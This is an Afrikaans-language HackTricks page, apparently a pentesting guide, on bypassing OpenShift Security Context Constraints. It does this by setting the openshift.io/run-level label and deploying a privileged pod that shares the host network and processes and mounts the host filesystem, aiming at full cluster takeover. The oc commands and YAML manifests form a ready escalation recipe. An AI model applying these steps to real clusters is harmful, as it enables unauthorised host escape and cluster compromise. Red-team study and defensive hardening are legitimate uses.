Openshift - SCC omseiling
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Die oorspronklike skrywer van hierdie bladsy is Guillaume
Bevoorregte Namespaces
Standaard, SCC is nie van toepassing op die volgende projekte nie:
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
As jy pods in een van daardie namespaces ontplooi, sal daar geen SCC afgedwing word nie, wat die ontplooiing van bevoorregte pods of die monteer van die gasheer lĂȘerstelsel moontlik maak.
Namespace Etiket
Daar is ân manier om die SCC-toepassing op jou pod te deaktiveer volgens RedHat dokumentasie. Jy sal ten minste een van die volgende toestemmings moet hĂȘ:
- Skep ân Namespace en Skep ân Pod in hierdie Namespace
- Wysig ân Namespace en Skep ân Pod in hierdie Namespace
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
Die spesifieke etiket openshift.io/run-level stel gebruikers in staat om SCCâs vir toepassings te omseil. Volgens RedHat-dokumentasie, wanneer hierdie etiket gebruik word, word daar geen SCCâs op alle pods binne daardie naamruimte afgedwing nie, wat effektief enige beperkings verwyder.

Voeg Etiket By
Om die etiket in jou naamruimte by te voeg:
$ oc label ns MYNAMESPACE openshift.io/run-level=0
Om ân naamruimte met die etiket deur ân YAML-lĂȘer te skep:
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
Nou mag alle nuwe pods wat in die naamruimte geskep word, nie enige SCC hĂȘ nie.
$ oc get pod -o yaml | grep 'openshift.io/scc'
$
In die afwesigheid van SCC is daar geen beperkings op jou pod-definisie nie. Dit beteken dat ân kwaadwillige pod maklik geskep kan word om na die gasheerstelsel te ontsnap.
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
Nou het dit makliker geword om voorregte te verhoog om toegang tot die gasheerstelsel te verkry en gevolglik die hele kluster oor te neem, wat âcluster-adminâ voorregte verkry. Soek na die Node-Post Exploitation deel op die volgende bladsy:
Attacking Kubernetes from inside a Pod
Pasgemaakte etikette
Boonop, gebaseer op die teikenopstelling, kan sommige pasgemaakte etikette / annotasies op dieselfde manier as die vorige aanvalscenario gebruik word. Selfs al is dit nie gemaak vir nie, kan etikette gebruik word om toestemmings te gee, ân spesifieke hulpbron te beperk of nie.
Probeer om na pasgemaakte etikette te soek as jy sommige hulpbronne kan lees. Hier is ân lys van interessante hulpbronne:
- Pod
- Deployment
- Namespace
- Service
- Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
Lys alle bevoorregte naamruimtes
$ oc get project -o yaml | grep 'run-level' -b5
Gevorderde uitbuiting
In OpenShift, soos vroeĂ«r gedemonstreer, kan dit om ân pod in ân naamruimte met die openshift.io/run-level-etiket te ontplooi, lei tot ân eenvoudige oorneming van die kluster. Vanuit ân klusterinstellingsperspektief kan hierdie funksionaliteit nie gedeaktiveer word nie, aangesien dit inherent is aan OpenShift se ontwerp.
Egter, versagtingsmaatreëls soos Open Policy Agent GateKeeper kan voorkom dat gebruikers hierdie etiket stel.
Om GateKeeper se reĂ«ls te omseil en hierdie etiket te stel om ân kluster oorneming uit te voer, sal aanvallers alternatiewe metodes moet identifiseer.
Verwysings
- https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
- https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
- https://github.com/open-policy-agent/gatekeeper
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

